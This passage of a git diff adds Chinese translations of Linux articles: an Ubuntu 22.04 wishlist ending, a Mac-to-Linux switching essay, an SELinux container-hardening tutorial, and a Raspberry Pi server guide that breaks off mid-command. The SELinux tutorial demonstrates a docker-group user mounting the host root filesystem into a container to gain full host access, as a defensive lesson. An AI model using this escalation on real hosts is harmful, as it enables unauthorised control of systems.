+ +### 3、找回混合主题 + +![][5] + +升级到 Ubuntu 21.10 后,我很失望地发现 [混合主题选项消失了][6]。虽然这只是个小问题,但我确实发现自己很怀念这个选项,并不断地想办法把它找回来。 + +我认为,让用户有能力轻松地定制他们的桌面是很重要的,把这个选项带回来对改善这个问题有很大的帮助。 + +我理解他们想摆脱它是因为 Ubuntu 和 GNOME 默认主题颜色的冲突。但是,我喜欢它原来的样子。 + +### 4、改造后的软件中心 + +![][7] + +随着 Canonical 不断推动人们使用 snap 应用程序(一种与所有发行版兼容的通用打包格式),创建一个新的软件中心将是有意义的。 + +虽然 Snap 商店已经存在,但它只是 Gnome 软件的一个复刻,而它以其速度慢和 bug 多而出名。 + +随着 [Gnome 41][8] 的发布,这一点在一定程度上得到了缓解,尽管这些改进不太可能被包含在 Ubuntu 22.04 中。 + +如果有一个新的软件中心诞生,或者现有的软件中心得到重大改造,我将会很高兴。 + +如果 Ubuntu 要推出一个新的应用程序商店,它可能会使用 Flutter 来构建,就像他们的新安装程序。虽然我个人并不喜欢 Ubuntu 开始转向 Flutter 的决定,但这将有助于确保其所有变体的一致性。 + +### 5、改进的自定义选项 + +有些人喜欢保持简单,而有些人则喜欢自定义选项来改变外观/感觉。 + +Ubuntu 22.04 LTS 不需要引入任何疯狂的东西,但是简单地在默认情况下增加一些额外的控制,你可以在 [GNOME 调整][9] 中找到,应该可以做到这一点。 + +目前,外观调整是相当有限的,我们可以使用更多的选项。 + +### 6、让 Snap 应用程序少一些 + +![][9a] + +我知道,我知道。Snap 应用程序无处不在,而且它们与多个发行版兼容。但是,它们的速度也更慢,而且只能从专有的 Snap 商店安装。 + +当然,你可以选择 Flatpak 和预建的二进制文件。但是,Snap 的专有方式仍然是许多用户不喜欢的。 + +另一方面,Ubuntu 的原生 [Apt 软件包管理器][10] 速度更快,而且有更多的应用程序可用。这导致了用户体验的明显改善,尽管这种改善在各发行版中并不连续。 + +不幸的是,Snap 实际上是由 Ubuntu 背后的同一个团队开发的,所以删除它是相当不可能的。 + +### 7、卸载应用程序的统一方式 + +Ubuntu 在为终端用户提供便利方面有着很好的声誉。 + +为了对抗 Linux 软件包的碎片化,Ubuntu 能否引入一种轻松卸载应用程序的方法,无论是 Flatpak/Deb/Snap? + +考虑到外面有各种各样的软件包,现在是时候让我们有一个处理所有软件包的单一解决方案了。 + +![][10a] + +在 Ubuntu 22.04 LTS 中不太可能看到它的解决方案,但我希望在下一个版本中能做到! + +### 总结 + +很明显,你可能不会看到所有这些期望的事情在下一个版本中发生。然而,即使 Ubuntu 22.04 LTS 在这个方向上做了一些努力,我们也有希望在未来的版本中看到它们。 + +你希望在 Ubuntu 22.04 中看到哪些新功能?请在下面的评论中告诉我们! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/things-i-want-ubuntu-22-04-lts/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/ubuntu-22-04-release-features/ +[2]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/06/ubuntu-dark-light-theme.png?w=1200&ssl=1 +[3]: https://github.com/tsujan/Kvantum +[3a]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-ft.jpg?w=1200&ssl=1 +[4]: https://news.itsfoss.com/gnome-40-release/ +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/06/ubuntu-yaru-standard-theme.png?resize=1568%2C1074&ssl=1 +[6]: https://news.itsfoss.com/ubuntu-21-10-theme-change/ +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/sign-in-ubuntu-software-center.png?resize=1568%2C836&ssl=1 +[8]: https://news.itsfoss.com/gnome-41-release/ +[9]: https://itsfoss.com/gnome-tweak-tool/ +[9a]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/09/firefox-snap-default.jpg?w=1200&ssl=1 +[10]: https://itsfoss.com/apt-command-guide/ +[10a]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/01/Remove-application-option-gnome.png?w=800&ssl=1 \ No newline at end of file diff --git a/published/202203/20200330 Why I switched from Mac to Linux.md b/published/202203/20200330 Why I switched from Mac to Linux.md new file mode 100644 index 0000000000..db4384e811 --- /dev/null +++ b/published/202203/20200330 Why I switched from Mac to Linux.md @@ -0,0 +1,140 @@ +[#]: collector: (lujun9972) +[#]: translator: (wxy) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14356-1.html) +[#]: subject: (Why I switched from Mac to Linux) +[#]: via: (https://opensource.com/article/20/3/mac-linux) +[#]: author: (Lee Tusman https://opensource.com/users/leeto) + +我为什么从 Mac 转到 Linux +====== + +> 25 年后,我转到了 Linux,简直不能更爽了。以下是我的经历。 + +![](https://img.linux.net.cn/data/attachment/album/202203/14/093159h433g7j2ytz4g4xz.jpg) + +1994 年,我的家人买了一台 Macintosh Performa 475 作为家用电脑。我在学校时曾使用过 Macintosh SE 电脑,并通过《[Mavis Beacon 教你打字][2]》学会了打字,所以我成为 Mac 用户已经超过 25 年了。早在上世纪 90 年代中期,我就被 Mac 的易用性所吸引。它不是以 DOS 命令提示符开始的;它打开的是一个友好的桌面。它很有趣。尽管 Macintosh 的软件比 PC 少得多,但我认为 Mac 的生态系统更好,就凭着 KidPix 和 Hypercard,我仍然认为它们是无与伦比的、最直观的 _创意工厂_。 + +即便如此,我仍然感觉到,与 Windows 相比,Mac 只是个弟弟。我曾觉得这个公司或许有一天会消失。但几十年后的今天,苹果已经成为一个庞然大物,一个价值万亿美元的公司。但随着发展,它发生了重大变化。有些变化是为了更好的发展,比如更好的稳定性,更简单的硬件选择,更高的安全性,以及更多的可访问性选项。其他的变化让我恼火 —— 不是一下子,而是慢慢地不满意。最重要的是,我对苹果的封闭生态系统感到厌烦 —— 没有 iPhoto 就很难访问照片;必须使用 iTunes;即使我不想使用苹果商店的生态系统,也得强制捆绑。 + +随着时间的推移,我发现自己主要是在终端上工作。我使用 iTerm2 和 [Homebrew][3] 软件包管理器。虽然我不能让我所有的 Linux 软件都工作,但大部分软件都工作了。我认为我拥有两个世界中最好的东西:macOS 的图形操作系统和用户界面,以及快速打开终端会话的能力。 + +后来,我开始使用通过 Raspbian 启动的树莓派电脑。我还收集了一些从大学的垃圾堆中抢救出来的非常旧的笔记本电脑,因此,出于需要,我决定尝试各种 Linux 发行版。虽然它们都没有成为我的主用机器,但我开始真正喜欢使用 Linux。我开始考虑尝试运行 Linux 发行版作为我的日常用机,但我认为 Macbook 的舒适性和便利性,特别是硬件的尺寸和重量,在非 Mac 笔记本电脑中很难找到。 + +### 是时候进行转换了? + +大约两年前,我开始在工作中使用一台戴尔电脑。那是一台较大的笔记本电脑,集成了 GPU,可以双启动 Linux 和 Windows。我用它来进行游戏开发、3D 建模、一些机器学习,以及用 C# 和 Java 进行基本编程。我曾考虑把它作为我的主用机器,但我喜欢我的 Macbook Air 的便携性,所以也继续使用它。 + +去年秋天,我开始注意到我的 Air 运行时很热,而且风扇开得越来越频繁。我的主用机器开始显得垂垂老矣。多年来,我使用 Mac 的终端来访问类 Unix 的 Darwin 操作系统,我在终端和网页浏览器之间切换的时间越来越多。是时候进行转换了吗? + +我开始探索一个类似 Macbook 的 Linux 笔记本电脑的可能性。在做了一些研究、阅读测评和留言板之后,我选择了长期以来备受赞誉的戴尔 XPS 13 开发者版 7390,选择了第十代 i7。我选择它是因为我喜欢 Macbook(尤其是超薄的 Macbook Air)的感觉,而对 XPS 13 的评论表明它似乎是类似的笔记本电脑,对其触控板和键盘的评价也真的很好。 + +最重要的是,它装载了 Ubuntu。虽然买一台电脑,擦掉它,然后安装一个新的 Linux 发行版是很容易的,但我被这种配合得当的操作系统和硬件所吸引,而且它允许我们进行大量的定制,就像我们在 Linux 中了解而喜爱的一样。因此,当有促销活动时,我毅然决然地购买了它。 + +### 每天运行 Linux 是什么感觉 + +如今,我使用 XPS 13 已经有三个月了,我的双启动的 Linux 工作笔记本也有两年了。起初,我以为我会花更多的时间寻找一个更像 Mac 的替代桌面环境或窗口管理器,比如 [Enlightenment][4]。我试过几个,但我不得不说,我喜欢开箱即用的 [GNOME][5] 的简单性。首先,它是精简的;没有太多的 GUI 元素会吸引你的注意力。事实上,它很直观,这份 [概览][6] 只需要几分钟就能看完。  + +我可以通过应用程序仪表盘或按网格排布的按钮访问我的应用程序,从而进入应用程序视图。要访问我的文件系统,我点击仪表盘上的“文件”图标。要打开 GNOME 终端,我输入 `Ctrl+Alt+T` 或者直接按下 `Alt+Tab` 来在打开的应用程序和打开的终端之间切换。定义你自己的 [自定义热键快捷方式][7] 也很容易。 + +除此以外,没有太多要说的。与 Mac 的桌面不同,没有那么多的东西会让人迷失,这意味着让我从工作或我想运行的应用程序中分心的东西更少。我没有看到我在 Mac 上浏览窗口的那么多选项,也不必在导航时花费那么多时间。在 Linux 中,只有文件、应用程序和终端。 + +我安装了 [i3 平铺式窗口管理器][8] 来做一个测试。我在配置上遇到了一些问题,因为我是用 [德沃夏克键盘][9] 键入的,而 i3 并不适应另一种键盘配置。我想,如果再努力一点,我可以在 i3 中找出一个新的键盘映射,但我主要想找的是简单的平铺功能。 + +我看了 GNOME 的平铺功能,并感到非常惊喜。你按下 `Super` 键(对我来说,就是有 Windows 标志的那个键 —— 我应该用贴纸盖住它!),然后按一个修饰键。例如,按 `Super + ←` 将你当前的窗口移动到屏幕左侧的贴片上。`Super + →` 移动到右半边。`Super + ↑` 使当前窗口最大化。`Super + ↓` 则恢复到之前的大小。你可以用 `Alt+Tab` 在应用程序窗口之间移动。这些都是默认行为,可以在键盘设置中自定义。 + +插上耳机或连接到 HDMI 的工作方式与你预期的一样。有时,我打开声音设置,在 HDMI 声音输出或我的外部音频线之间进行切换,就像我在 Mac 或 PC 上那样。触控板的反应很灵敏,我没有注意到与 Macbook 的有什么不同。当我插入一个三键鼠标时,它可以立即工作,即使是用我的蓝牙鼠标和键盘。 + +#### 软件 + +我在几分钟内安装了 Atom、VLC、Keybase、Brave 浏览器、Krita、Blender 和 Thunderbird。我在终端用 Apt 软件包管理器安装了其他软件(和平常一样),它比 macOS 的 Homebrew 软件包管理器提供了更多软件包。 + +#### 音乐 + +我有许多种听音乐的选择。我使用 Spotify 和 [PyRadio][10] 来串流播放音乐。[Rhythmbox][11] 在 Ubuntu 上是默认安装的;这个简单的音乐播放器可以立即启动,而且毫不臃肿。只需点击菜单,选择“添加音乐”,然后导航到一个音乐目录(它会递归搜索)。你也可以轻松地串流播客或在线广播。 + +#### 文本和 PDF + +我倾向于在带有一些插件的 [Neovim][12] 中用 Markdown 写作,然后用 Pandoc 将我的文档转换为任何最终需要的格式。对于一个带有预览功能的漂亮的 Markdown 编辑器,我下载了 [Ghostwriter][13],一个最集中注意力的写作应用程序。 + +如果有人给我发了一个微软 Word 文档,我可以用默认的 LibreOffice Writer 应用程序打开它。 + +偶尔,我也要签署一份文件。用 macOS 的“预览”应用程序和我的 PNG 格式的签名,这很容易,我需要一个 Linux 的对应工具。我发现默认的 PDF 查看器应用程序没有我需要的注释工具。LibreOffice 绘图程序是可以接受的,但不是特别容易使用,而且它偶尔会崩溃。做了一些研究后,我安装了 [Xournal][14],它有我需要的简单的注释工具,可以添加日期、文字和我的签名,而且与 Mac 的预览程序相当。它完全能满足我的需要。 + +#### 从我的手机中导入图片 + +我有一个 iPhone。为了把我的图片从手机上拿下来,有很多方法可以同步和访问你的文件。如果你有一个不同的手机,你的过程可能是不同的。下面是我的方法: + +1. 用 `sudo apt install gvfs-backends` 来安装 `gvfs-backends`,它是 GNOME 虚拟文件系统的一部分。 +2. 获取你的手机的序列号。将你的手机插入你的电脑,在你的 iPhone 上点击“信任”。在你电脑的终端输入: + ``` + lsusb -v 2> /dev/null | grep -e "Apple Inc" -A 2 + ``` + (感谢 Stack Oveflow 用户 [complistic][15] 提供的这个代码技巧)。 +3. 现在打开你的文件系统。 + - 按 `Ctrl+L` 打开一个位置并输入:`afc://<你的序列号>`,(请替换 `<你的序列号>`)来打开并导航到你的 DCIM 文件夹。我的照片和视频在 DCIM 文件夹的五个子文件夹内,而不是在照片文件夹内。从这里你可以手动将它们移到你的电脑上。 + - 挂载手机文件系统后,你也可以在终端中通过以下方式导航到你的文件: + ``` + cd /run/user/1001/gvfs/afc:host=<你的序列号> + ``` + +#### 图形、照片、建模和游戏引擎 + +我是一名教育工作者,教授各种新媒体课程。我的许多同事和学生都订阅了价格昂贵的专有的 Adobe Creative Suite。我喜欢让我的学生知道他们还有其他选择。 + +对于绘图和图形编辑,我使用 [Krita][16]。这绝对是我的 Photoshop 替代品。对于插图工作,还有 [Inkscape][17] 和 Scribus 的出版软件。对于自动编辑,我使用命令行 [ImageMagick][18] 程序,它已经预装在 Ubuntu 中。 + +为了管理我的图像,我使用简单的 [Shotwell][19] 应用程序。 + +对于 3D 建模,我使用并教授开源的 [Blender][20] 软件。在我的学校,我们教 [Unity 3d][21],它有 Linux 版本。它运行良好,但我一直想试试 [Godot][22],一个开源的替代品。 + +#### 开发 + +我的 XPS 13 安装了 Chrome 和 Chromium。我还添加了 Firefox 和 [Brave][23] 浏览器。所有都和你在 Mac 或 PC 上习惯的一样。大多数时候,我在 Atom 中进行开发工作,有时在 Visual Studio Code 中进行,这两种软件都很容易安装在 Linux 上。Vim 已经预装在终端,而我首选的终端文本编辑器 Neovim,也很容易安装。 + +几周后,我开始尝试其他终端。我目前最喜欢的是 Enlightenment 基金会的 Terminology。首先,它允许你在终端中 [查看图片][24],这在 Mac 的终端中是很难做到的。 + +### 留在这里 + +我看不出自己会转回 Mac 作为我的日用电脑。现在,当我使用 Mac 时,我注意到超多的选项和运行一个应用程序或浏览某个地方所需的额外步骤。我还注意到它的运行速度有点慢,或许这只是我个人的感受? + +现在我已经转到了一个开源的生态系统和 Linux,我很高兴,没有必要再转回去。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/20/3/mac-linux + +作者:[Lee Tusman][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/leeto +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/code_computer_development_programming.png?itok=4OM29-82 +[2]: https://en.wikipedia.org/wiki/Mavis_Beacon_Teaches_Typing +[3]: https://brew.sh/ +[4]: https://www.enlightenment.org/ +[5]: https://opensource.com/downloads/cheat-sheet-gnome-3 +[6]: https://help.gnome.org/users/gnome-help/stable/shell-introduction.html.en +[7]: https://docs.fedoraproject.org/en-US/quick-docs/proc_setting-key-shortcut/ +[8]: https://opensource.com/article/18/9/i3-window-manager-cheat-sheet +[9]: https://en.wikipedia.org/wiki/Dvorak_keyboard_layout +[10]: https://opensource.com/article/19/11/pyradio +[11]: https://wiki.gnome.org/Apps/Rhythmbox +[12]: https://neovim.io/ +[13]: https://wereturtle.github.io/ghostwriter/ +[14]: http://xournal.sourceforge.net/ +[15]: https://stackoverflow.com/questions/19032162/is-there-a-way-since-ios-7s-release-to-get-the-udid-without-using-itunes-on-a/21522291#21522291 +[16]: https://opensource.com/article/19/4/design-posters +[17]: https://opensource.com/article/19/1/inkscape-cheat-sheet +[18]: https://opensource.com/article/17/8/imagemagick +[19]: https://gitlab.gnome.org/GNOME/shotwell/ +[20]: https://opensource.com/article/18/4/5-best-blender-video-tutorials-beginners +[21]: https://unity.com/ +[22]: https://opensource.com/article/17/12/get-started-developing-games-godot +[23]: https://brave.com/ +[24]: https://www.enlightenment.org/about-terminology.md \ No newline at end of file diff --git a/published/202203/20201118 Secure your containers with SELinux.md b/published/202203/20201118 Secure your containers with SELinux.md new file mode 100644 index 0000000000..8291725124 --- /dev/null +++ b/published/202203/20201118 Secure your containers with SELinux.md @@ -0,0 +1,255 @@ +[#]: collector: (lujun9972) +[#]: translator: (wxy) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14319-1.html) +[#]: subject: (Secure your containers with SELinux) +[#]: via: (https://opensource.com/article/20/11/selinux-containers) +[#]: author: (Mike Calizo https://opensource.com/users/mcalizo) + +用 SELinux 保护你的容器 +====== + +> 黑掉你的系统,了解为什么配置 SELinux 作为你的第一道容器防线是很重要的。 + +![](https://img.linux.net.cn/data/attachment/album/202203/02/093614t53cfb857841qzzk.jpg) + +当有些事情在你的 Linux 环境中不能正常工作时,最简单的方法就是禁用安全增强型 LinuxSecurity-Enhanced Linux([SELinux][2])。而当它突然可以工作了,你就会忘记了禁用这件事 —— 这是一个常见的陷阱,意味着你已经失去了一个非常强大的安全工具。 + +随着容器、微服务和分布式架构的兴起,威胁也在上升。这是由于一个老的、众所周知的问题:速度。容器的优势在于它们能让你快速行动,做更多的事情,并迅速改变。这意味着容器的采用已经飞速发展,但它所提供的速度也意味着你会遇到更多的问题和漏洞。当你越来越快地做更多的事情时,这自然会发生。 + +### 如何减轻威胁 + +正如孙子所说,“不战而屈人之兵”。当涉及到容器的基本防御时,这句话真的很有共鸣。为了避免问题(战斗),确保你的容器主机是安全的,你可以使用 SELinux 作为你的第一道防线。 + +SELinux 是一个开源项目,于 2000 年发布,2003 年集成到 Linux 内核中。根据 [红帽公司的解释][3],“SELinux 是 [Linux 系统][4] 的一个安全架构,允许管理员对谁可以访问系统有更多的控制。它最初是由美国国家安全局(NSA)开发的,是使用 Linux 安全模块(LSM)对 [Linux 内核][5] 的一系列补丁。” + +### 开始吧 + +当你想到容器时,首先想到的可能是 [Docker][6]。Docker 在 2013 年出现后掀起了一场容器采用革命。它是容器爆炸性流行的主要原因之一,但如上所述,大量采用增加了用户对安全风险的脆弱性。 + +在你用 SELinux 保护你的 Docker 容器之前,你需要设置一些东西。 + +#### 前置条件 + + * 安装并配置了 CentOS 8/RHEL 8。 + * 安装并配置好 Docker CE + * 创建两个账户:root 和 非 root 用户(下面的例子中是 `mcalizo`)。 + +如果你需要在你的 RHEL 8/CentOS 8 服务器上设置 Docker,你可以按照这些 [说明][7]。如果你运行的是 RHEL 8,你需要在开始之前删除预装的 Podman 和 runc 包。 + +首先,确保 SELinux 被启用: + +``` +[mcalizo@Rhel82 ~]$ sestatus +SELinux status:                 enabled +SELinuxfs mount:                /sys/fs/selinux +SELinux root directory:         /etc/selinux +Loaded policy name:             targeted +Current mode:                   enforcing +Mode from config file:          enforcing +Policy MLS status:              enabled +Policy deny_unknown status:     allowed +Memory protection checking:     actual (secure) +Max kernel policy version:      31 +[mcalizo@Rhel82 ~]$ +``` + +然后,验证你的操作系统版本和 Docker 正在运行。以 root 身份登录并运行: + +``` +[root@rhel82 ~]# cat /etc/redhat-release +Red Hat Enterprise Linux release 8.2 (Ootpa) +[root@rhel82 ~]# + +[root@rhel82 ~]# systemctl status docker +● docker.service - Docker Application Container Engine + Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; vendor preset: disabled) + Active: active (running) since Wed 2020-10-28 19:10:14 EDT; 15s ago + Docs: https://docs.docker.com + Main PID: 30768 (dockerd) + Tasks: 8 + Memory: 39.0M + CGroup: /system.slice/docker.service + └─30768 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock + +Oct 28 19:10:13 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:13.889602941-04:00" level=error msg="> +Oct 28 19:10:13 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:13.903413613-04:00" level=warning msg> +Oct 28 19:10:13 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:13.903427451-04:00" level=warning msg> +Oct 28 19:10:13 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:13.903538271-04:00" level=info msg="L> +Oct 28 19:10:14 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:14.132060506-04:00" level=info msg="D> +Oct 28 19:10:14 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:14.308943088-04:00" level=info msg="L> +Oct 28 19:10:14 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:14.319438549-04:00" level=info msg="D> +Oct 28 19:10:14 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:14.319570298-04:00" level=info msg="D> +Oct 28 19:10:14 rhel82.home.labs.com dockerd[30768]: time="2020-10-28T19:10:14.333419209-04:00" level=info msg="A> +Oct 28 19:10:14 rhel82.home.labs.com systemd[1]: Started Docker Application Container Engine +``` + +检查你的 Docker 版本: + +``` +[root@rhel82 ~]# docker --version +Docker version 19.03.13, build 4484c46d9d +``` + +### 黑掉主机 + +了解一个问题的最好方法之一就是去体验它。因此,我将告诉你,如果你的安全设置不当,向 Docker 主机注入恶意代码是多么容易。 + +为了能够在 Docker 主机上做坏事,“恶意”的非 root 用户(本教程中为 `mcalizo`)必须是可以实例化 Docker 容器的组的成员。 + +首先,确认 `mcalizo` 用户属于哪个组: + +``` +[root@Rhel82 ~]# groups mcalizo +mcalizo : mcalizo +``` + +输出显示,`mcalizo` 只属于它自己的组。这意味着 `mcalizo` 不能实例化 Docker 容器,如果它试图这样做,将会得到这个错误: + +``` +[mcalizo@Rhel82 ~]$ docker run -it --rm centos:latest /bin/sh +docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http://%2Fvar%2Frun%2Fdocker.sock/v1.40/containers/create: dial unix /var/run/docker.sock: connect: permission denied. +See 'docker run --help'. +``` + +要允许 `mcalizo` 实例化容器,将用户加入 `docker` 组: + +``` +[root@Rhel82 ~]# usermod -G docker -a mcalizo +[root@Rhel82 ~]# groups mcalizo +mcalizo : mcalizo docker +``` + +接下来,部署一个 `fedora:latest` 的容器,并登录到实例化的容器中去探索它: + +``` +[mcalizo@Rhel82 ~]$ docker run -it --rm fedora:latest /bin/sh +Unable to find image 'fedora:latest' locally +latest: Pulling from library/fedora +ee7e89337106: Pull complete +Digest: sha256:b9ec86d36fca7b1d3de39cd7c258e8d90c377d312c21a7748071ce49069b8db4 +Status: Downloaded newer image for fedora:latest +sh-5.0# cat /etc/redhat-release +Fedora release 33 (Thirty Three) +``` + +当你登录到新创建的容器时,你可以看到你是以 root 身份自动登录的: + +``` +sh-5.0# whoami +root +sh-5.0# +``` + +作为 `root` 用户,你可以在这个容器中做任何事情,这意味着你可以利用容器主机,做很多破坏。因为你可以实例化一个容器,即使你不属于主机的 sudoers 账户,你也可以对主机做一些事情。 + +退出你刚刚创建的容器,并创建一个新的容器来演示这个漏洞: + +``` +[mcalizo@Rhel82 ~]$ docker run -it --rm -v /:/exploit fedora:latest /bin/bash +[root@131043f2e306 /]# +``` + +[-v 选项][8] 将 Docker 主机的 `/` 目录挂载到 `/exploit` 目录下的容器: + +``` +[root@131043f2e306 /]#ls exploit/ +bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var +``` + +因为它已被挂载,你可以在 Docker 主机上做任何事情。例如,你可以删除文件、编辑特定的配置来破害系统,甚至安装木马程序或其他恶意软件来窃取重要信息。 + +### 为什么会发生这种情况? + +你可能想知道,既然 SELinux 处于强制模式,为什么会出现这种情况?深入挖掘 SELinux,看看哪里出了问题。 + +验证 SELinux 是否有一个 [Docker 上下文][9]: + +``` +[mcalizo@Rhel82 ~]$ ps -eZ | grep docker +system_u:system_r:container_runtime_t:s0 30768 ? 00:00:04 dockerd +[mcalizo@Rhel82 ~]$ +``` + +正如预期的那样,它确实有。这意味着 SELinux 管理着 Docker 守护进程。检查 Docker 守护进程,看看 SELinux 是否默认启用: + +``` +[mcalizo@Rhel82 ~]$ docker info | grep Security -A3 + Security Options: +  seccomp +   Profile: default + Kernel Version: 4.18.0-193.el8.x86_64 +``` + +Docker 守护进程中的 SELinux 在默认情况下是 **不启用** 的。 这就是问题所在!要解决这个问题,按 [文档][10] 说明,通过更新或创建文件 `/etc/docker/daemon.json` 来启用 SELinux 来控制和管理 Docker(你必须有 root 权限才能这样做): + +``` +[root@Rhel82 ~]# cat /etc/docker/daemon.json +{ +  "selinux-enabled": true +} +[root@Rhel82 ~]# +[root@Rhel82 ~]# systemctl restart docker +``` + +在创建或更新该文件并重启 Docker 后,你应该看到 Docker 守护进程中启用了 SELinux 支持: + +``` +[root@Rhel82 ~]# systemctl restart docker +[mcalizo@Rhel82 root]$ docker info | grep Security -A3 + Security Options: +  seccomp +   Profile: default +  selinux +[mcalizo@Rhel82 root]$ +``` + +虽然仍然可以在你的 Docker 容器上挂载 Docker 主机中的特定文件系统,但不再允许更新或访问该文件: + +``` +[mcalizo@Rhel82 root]$ docker run -it --rm -v /:/exploit fedora:latest /bin/bash +[root@ecb5836da1f6 /]# touch /exploit/etc/shadow.sh +touch: cannot touch '/exploit/etc/shadow.sh': Permission denied +[root@ecb5836da1f6 /]# +``` + +### 了解更多 + +你在容器世界中的第一道防线取决于你对容器主机的操作系统的设置有多强。有许多方法可以实现 Linux 的安全性,包括市场上可供选择的方案,以增强你的安全态势。 + +SELinux 是一个额外的安全层,默认情况下内置于 [Linux 发行版][11] 中。为了借助它保护你的系统不被破坏,请确保 SELinux 保持开启状态。 + +如果你想了解更多,请参阅: + + * [如何在 CentOS 8 / RH 上安装 Docker CE][7] + * [Docker 安全速查表][12] + * [dockerd 文档][10] + * [卷的使用文档][8] + * [什么是 SELinux?][3] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/20/11/selinux-containers + +作者:[Mike Calizo][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mcalizo +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/EDU_UnspokenBlockers_1110_A.png?itok=x8A9mqVA (Three closed doors) +[2]: https://en.wikipedia.org/wiki/Security-Enhanced_Linux +[3]: https://www.redhat.com/en/topics/linux/what-is-selinux +[4]: https://www.redhat.com/en/topics/linux/what-is-linux +[5]: https://www.redhat.com/en/topics/linux/what-is-the-linux-kernel +[6]: https://opensource.com/resources/what-docker +[7]: https://www.linuxtechi.com/install-docker-ce-centos-8-rhel-8/ +[8]: https://docs.docker.com/storage/volumes/ +[9]: https://docs.docker.com/engine/reference/commandline/context/ +[10]: https://docs.docker.com/engine/reference/commandline/dockerd/ +[11]: https://www.redhat.com/en/topics/linux/whats-the-best-linux-distro-for-you +[12]: https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html diff --git a/published/202203/20210118 Set up a minimal server on a Raspberry Pi.md b/published/202203/20210118 Set up a minimal server on a Raspberry Pi.md new file mode 100644 index 0000000000..361900de43 --- /dev/null +++ b/published/202203/20210118 Set up a minimal server on a Raspberry Pi.md @@ -0,0 +1,255 @@ +[#]: collector: (lujun9972) +[#]: translator: (hwlife) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14405-1.html) +[#]: subject: (Set up a minimal server on a Raspberry Pi) +[#]: via: (https://opensource.com/article/21/1/minimal-server-raspberry-pi) +[#]: author: (Alan Formy-Duval https://opensource.com/users/alanfdoss) + +在树莓派上创建一个最小化的服务器 +====== + +> 不要急着丢弃那台旧树莓派,这个详细步骤的指南展示了我怎样用最小化设置来充分利用我珍贵的树莓派系统资源。 + +![](https://img.linux.net.cn/data/attachment/album/202203/28/161221byrmba9ayvvmbbkx.jpg) + +最近,我的 [树莓派][2] 上的 microSD 储存卡不工作了。它已经作为服务器持续使用将近两年了,这为我提供了一个开始探索和修正问题的好机会。在初始化安装完成以后,它开始出现一些磁盘方面的问题,并且官方的树莓派操作系统发布了一个有重大意义的更新(并从 Raspbian 更名为树莓派操作系统Raspberr Pi OS)。所以我买了一个新的储存卡并开始重装。 + +尽管树莓派 3B 不是最新的硬件,但对于运行多样化服务的最小化的服务器还是足够的。我认为我之前的安装使用了完整的安装镜像,包括了图形用户界面和许多其他的软件包是没有必要的。 + +这个详细步骤的指南展示了我怎样用最小化设置来充分利用我珍贵的树莓派系统资源。 + +### 开始 + +首先,要为树莓派创建一个新的系统驱动器。这需要两样东西:系统镜像文件和一张 microSD 储存卡。 + +#### 下载树莓派系统镜像文件 + +虽然有好几种操作系统可供选择,但我坚持选择树莓派官方支持的系统。 + +第一步是从 [树莓派操作系统][3] 官方网站上下载最新的系统镜像文件到计算机,然后后写入储存卡。他们提供了三个不同的镜像,我选择了精简版。它是最小化的操作系统,只包含基本系统必要的文件,所以它占用最少的磁盘空间和系统内存。(当我下载系统的时候,发布日期是 2020 年 8 月 20 日,但是它现在肯定已经更新了。我觉得不会有什么巨大不同,但是我建议读一下发行说明。) + +#### 将树莓派系统镜像写到储存卡 + +第二步是写下载的系统镜像到储存卡。我的卡之前用过,当我把它插入我的 Linux 桌面计算机之后,它自动加载了两个存在的分区。在我卸载这两个分区前,我不能写入镜像。 + +要这样做,我必须得用下面的 `lsblk` 命令来确定它们的路径,经确定,该设备路径为 `/dev/mmcblk0`: + +``` +# lsblk -p +``` + +我用 `umount` 命令卸载了这两个分区: + +``` +# umount /dev/mmcblk0p2 +# umount /dev/mmcblk0p1 +``` + +一旦分区被卸载,就可以将镜像文件写入到储存卡了。尽管有许多图形化的写入工具,我还是习惯是用古老的 `dd` 命令: + +``` +# dd bs=4M 